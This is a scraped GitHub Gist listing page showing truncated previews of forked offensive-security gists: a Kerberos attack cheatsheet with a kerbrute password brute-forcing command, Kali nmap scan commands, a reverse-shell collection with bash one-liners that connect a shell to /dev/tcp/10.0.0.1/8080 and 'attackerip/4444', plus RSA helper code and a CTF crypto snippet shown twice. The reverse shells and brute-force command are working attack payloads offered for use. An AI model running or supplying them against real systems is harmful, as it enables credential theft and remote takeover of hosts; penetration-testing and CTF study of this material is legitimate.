Skip to content

Instantly share code, notes, and snippets.

@Hackalicious
Hackalicious / kerberos_attacks_cheatsheet.md
Created June 13, 2020 09:12 — forked from TarlogicSecurity/kerberos_attacks_cheatsheet.md
A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

@Hackalicious
Hackalicious / kali.md
Created June 6, 2020 15:00 — forked from dvdknaap/kali.md
RootTricks

install all tools

  • apt install kali-linux-all

.git folder downloader

  • git clone https://github.com/internetwache/GitTools.git

Check ports with nmap

  • nmap -sC -sV -oA initial 10.10.10.78
  • nmap -sV -sC -oA nmap-tcp 10.10.10.84
  • nmap -T4 -A -v -p 0-10000 10.10.10.8
@Hackalicious
Hackalicious / reverse_shells
Created June 6, 2020 14:45 — forked from sckalath/reverse_shells
Reverse shells
#bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
#bash alt
exec /bin/bash 0&0 2>&0
#bash alt 2
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
#bash alt 3
@Hackalicious
Hackalicious / hpb3_links.txt
Created November 20, 2019 13:16 — forked from audibleblink/hpb3_links.txt
All links from Hacker Playbook 3, with bit.ly links unfurled
@Hackalicious
Hackalicious / modinverse.py
Created August 30, 2019 22:05 — forked from ofaurax/modinverse.py
Modular Inverse for RSA in python
#!/usr/bin/env python3
p = 61
q = 53
n = p*q
phi = (p-1)*(q-1)
# Took from SO
def egcd(a, b):
@Hackalicious
Hackalicious / main.py
Created July 31, 2019 17:42 — forked from marnix135/main.py
Simple RSA implementation in Python
import random
import math
class RSA:
def __init__(self):
self.e = self.d = self.p = self.q = self.phi = 0
def __egcd(self, a, b):
if a == 0:
return (b, 0, 1)
@Hackalicious
Hackalicious / crypto_backdoor.py
Created June 15, 2019 07:00 — forked from hellman/crypto_backdoor.py
Google CTF 2017 Quals - Crypto Backdoor
def I(s):
val = 0
for i in range(len(s)):
digit = ord(s[len(s) - i - 1])
val <<= 8
val |= digit
return val
def Sn(i, length):
s = ''
@Hackalicious
Hackalicious / crypto_backdoor.py
Created June 15, 2019 07:00 — forked from hellman/crypto_backdoor.py
Google CTF 2017 Quals - Crypto Backdoor
def I(s):
val = 0
for i in range(len(s)):
digit = ord(s[len(s) - i - 1])
val <<= 8
val |= digit
return val
def Sn(i, length):
s = ''